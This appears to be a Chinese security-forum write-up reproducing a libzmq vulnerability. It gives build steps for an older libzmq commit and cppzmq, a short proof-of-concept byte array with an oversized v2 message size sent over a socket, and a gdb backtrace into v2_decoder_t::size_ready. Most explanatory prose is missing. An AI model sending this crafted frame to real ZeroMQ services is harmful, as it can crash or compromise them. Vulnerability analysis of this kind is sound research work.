一
软件介绍
二
环境配置
Git clone https://github.com/zeromq/libzmq.git
git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3
sudo apt-get install libtool pkg-config build-essential autoconf automake
./autogen.sh
./configure
make
sudo make install
sudo apt-get remove cmake
tar -zxv -f cmake-3.26.0-rc5.tar.gz
cd cmake-3.26.0-rc5
./bootstrap
sudo apt-get install g++
sudo apt-get install libssl-dev
make
sudo make install
cmake --version
git clone https://github.com/zeromq/cppzmq
root@ubuntu:~/cppzmq# cmake .
cd demo
printf("hello world\n")
root@ubuntu:~/cppzmq/demo# make
root@ubuntu:~/cppzmq/demo# ./demo
root@ubuntu:~/cppzmq/demo# hello world
三
漏洞复现
set(CMAKE_CXX_FLAGS "-std=c++11 -g -O3")
./demo
四
分析POC
const uint8_t v2msg[] = {
0x02, /* v2_decoder_t::eight_byte_size_ready */
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */
};
send(s, v2msg, sizeof(v2msg), 0);
break main
r
break zmq::v2_decoder_t::size_ready
c
[ trace ]──────────────────────────────────────────────────────
[#0] RetAddr: 0x7ffff7baa3c0, Name: zmq::v2_decoder_t::size_ready(this=0x7fffe800b6b0, msg_size_=0xffffffffffffffff, read_pos_=0x7fffe800b781 "")
[#1] RetAddr: 0x7ffff7baa808, Name: zmq::decoder_base_t<zmq::v2_decoder_t, zmq::shared_message_memory_allocator>::decode(this=0x7fffe800b6b0, data_=0x7fffe800b778 "\002\377\377\377\377\377\377\377\377", size_=0x2000, bytes_used_=@0x7ffff5b34fd8)
[#2] RetAddr: 0x7ffff7b9ac07, Name: zmq::stream_engine_t::in_event(this=0x7fffe80008e0)
[#3] RetAddr: 0x7ffff7b9e231, Name: zmq::stream_engine_t::plug(this=0x7fffe80008e0, io_thread_=<optimized out>, session_=<optimized out>)
[#4] RetAddr: 0x7ffff7b8a60c, Name: zmq::session_base_t::process_attach(this=0x7fffe8000e30, engine_=0x7fffe80008f0)
[#5] RetAddr: 0x7ffff7b7939a, Name: zmq::object_t::process_command(this=0x7fffe8000e30, cmd_=<optimized out>)
[#6] RetAddr: 0x7ffff7b6e234, Name: zmq::io_thread_t::in_event(this=0x7ffff0004800)
[#7] RetAddr: 0x7ffff7b6c9ee, Name: zmq::epoll_t::loop(this=0x7ffff0004db0)
[#8] RetAddr: 0x7ffff7ba359d, Name: thread_routine(arg_=0x7ffff0004e08)
[#9] RetAddr: 0x7ffff6e47184, Name: start_thread(arg=0x7ffff5b36700)
看雪ID:简单的简单
https://bbs.kanxue.com/user-home-950902.htm
# 往期推荐
球分享
球点赞
球在看